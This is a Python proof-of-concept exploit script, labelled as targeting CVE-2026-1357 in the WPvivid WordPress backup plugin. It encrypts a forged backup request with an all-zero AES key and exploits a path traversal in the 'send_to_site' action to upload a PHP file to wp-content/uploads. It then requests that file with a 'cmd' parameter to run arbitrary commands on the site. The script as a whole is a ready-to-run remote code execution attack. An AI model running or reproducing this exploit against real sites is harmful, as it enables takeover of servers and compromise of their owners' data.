import base64 import json import hashlib import requests import uuid import sys import argparse from Crypto.Cipher import AES from Crypto.Util.Padding import pad from urllib.parse import urlparse, urlencode DEFAULT_SCHEME = "http" DEFAULT_PORT = 80 DEFAULT_TIMEOUT = 5 def parse_base_url(value: str) -> str: if "://" not in value: # Default to http if the user just types an IP or domain value = f"{DEFAULT_SCHEME}://{value}" parsed = urlparse(value) if parsed.scheme not in ("http", "https"): raise argparse.ArgumentTypeError("Only http:// or https:// are supported") if not parsed.hostname: raise argparse.ArgumentTypeError("[!] Invalid target: missing hostname") # FIX: Only append a colon and port if a port was actually specified port_string = f":{parsed.port}" if parsed.port else "" # Normalize path (strip trailing slash) path = parsed.path.rstrip("/") return f"{parsed.scheme}://{parsed.hostname}{port_string}{path}" def join_url(base: str, path: str) -> str: return f"{base.rstrip('/')}/{path.lstrip('/')}" def generate_payload(filename: str): shell_content = '' params = { "backup_id": "1", "name": f"../uploads/{filename}", "data": base64.b64encode(shell_content.encode()).decode(), "md5": hashlib.md5(shell_content.encode()).hexdigest(), "file_size": len(shell_content), "total_size": len(shell_content), "type": "backup", "status": "running", "offset": 0, "index": 0 } null_key = b'\x00' * 16 iv = b'\x00' * 16 cipher = AES.new(null_key, AES.MODE_CBC, iv) json_data = json.dumps(params).encode() encrypted = cipher.encrypt(pad(json_data, 16)) fake_key = "ABC" key_len_header = f"{len(fake_key):03x}" data_len_header = f"{len(encrypted):016x}" raw_payload = ( key_len_header.encode() + fake_key.encode() + data_len_header.encode() + encrypted ) return base64.b64encode(raw_payload).decode() def upload_payload(target: str, payload): try: res_payload = requests.post( target, data={ 'wpvivid_action': 'send_to_site', 'wpvivid_content': payload }, timeout=DEFAULT_TIMEOUT ) if not res_payload.ok: print(f"[!] Failed to upload payload ({target}): {res_payload.text}") sys.exit(1) except requests.exceptions.Timeout: print(f"[!] Error: Request timed out after {DEFAULT_TIMEOUT} seconds.") sys.exit(1) except requests.exceptions.ConnectionError: print(f"[!] Error: Failed to connect to {target}. Check the URL or your network.") sys.exit(1) except requests.exceptions.RequestException as e: print(f"[!] An unexpected network error occurred: {e}") sys.exit(1) def execute_command(target: str, filename: str, command: str): url_shell = join_url(target, f"/wp-content/uploads/{filename}") url_trigger = f"{url_shell}?{urlencode({ "cmd": command})}" print(f"[+] Command URL: {url_trigger}") try: res_cmd = requests.post( url_trigger, timeout=DEFAULT_TIMEOUT ) if not res_cmd.ok: print(f"[!] Failed to execute command ({url_trigger}): {res_cmd.text}") sys.exit(1) print(res_cmd.text) except requests.exceptions.Timeout: print(f"[!] Error: Request timed out after {DEFAULT_TIMEOUT} seconds.") sys.exit(1) except requests.exceptions.ConnectionError: print(f"[!] Error: Failed to connect to {url_trigger}. Check the URL or your network.") sys.exit(1) except requests.exceptions.RequestException as e: print(f"[!] An unexpected network error occurred: {e}") sys.exit(1) def main(): parser = argparse.ArgumentParser(description="PoC exploit: CVE-2026-1357") parser.add_argument("target", help="Target hostname") parser.add_argument("--command", type=str, required=True, help="Command to run on target") args = parser.parse_args() target = parse_base_url(args.target) print(f"[+] Target: {target}") filename = f"{str(uuid.uuid4())}.php" payload = generate_payload(filename) print(f"[*] Uploading payload...") upload_payload(target, payload) print(f"[+] Payload uploaded") print(f"[*] Executing command...") execute_command(target, filename, args.command) return 0 if __name__ == "__main__": sys.exit(main())